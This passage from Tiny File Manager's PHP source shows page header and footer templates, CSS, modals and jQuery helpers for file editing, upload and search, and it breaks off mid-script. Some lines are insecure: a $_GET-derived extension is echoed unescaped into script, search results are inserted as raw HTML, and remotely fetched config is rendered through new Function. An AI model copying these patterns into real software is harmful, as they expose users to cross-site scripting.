        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
    <?php if (FM_USE_HIGHLIGHTJS): ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
    <?php endif; ?>
    <style>
        body { font-size:14px;color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a:hover, a:visited, a:focus { text-decoration:none !important; }
        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        #search-addon2 { background:transparent;border-left:0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0  }
        pre.with-hljs code { margin:0;border:0;overflow:visible  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px  }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) { 
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        .ekko-lightbox .modal-dialog { max-width:98%; }
        .ekko-lightbox-item.fade.in.show .row { background:#fff; }
        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0 }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img {
            max-width: 300px;
        }
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            body.theme-dark { background-color: #2f2a2a; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">

    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content <?php echo fm_get_theme(); ?>">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
                        <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
                        <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group input-group">
                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                    <div class="input-group-append">
                        <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                    </div>
                </div>
            </h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2">Search file in folder and subfolders...</p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>
    <script type="text/html" id="js-tpl-modal">
        <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <%this.content%>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                        <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
                    </div>
                </div>
            </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer
     */
    function fm_show_footer()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if (FM_USE_HIGHLIGHTJS): ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/highlight.min.js"></script>
    <script>hljs.initHighlightingOnLoad(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    $(document).on('click', '[data-toggle="lightbox"]', function(event) {
        event.preventDefault();
        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
        $(this).ekkoLightbox({
            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
        });
    });
    //TFM Config
    window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
    function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function newfolder(e) {
        var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
        null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
    }
    function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { //Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    //Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (n) {
            if(true){
                var data = {ajax: true, content: n, type: 'save'};
                
                $.ajax({
                    type: "POST",
                    url: window.location,
                    // The key needs to match your method's input parameter (case-sensitive).
                    data: JSON.stringify(data),
                    contentType: "multipart/form-data-encoded; charset=utf-8",
                    //dataType: "json",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
                
            }
            else{
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
            }
        }
    }
    //Check latest version
    function latest_release_info(v) {
        if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
        $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    //Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    //Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    //Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    //search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    //on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);


    // Dom Ready Event
    $(document).ready( function () {
        //load config
        fm_get_config();
        //dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
            mainTable = $('#main-table').DataTable({"paging":   false, "info":     false, "columnDefs": [{"targets": _targets, "orderable": false}]
        });
        //search
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): 
        $ext = "javascript";
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.1/ace.js"></script>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
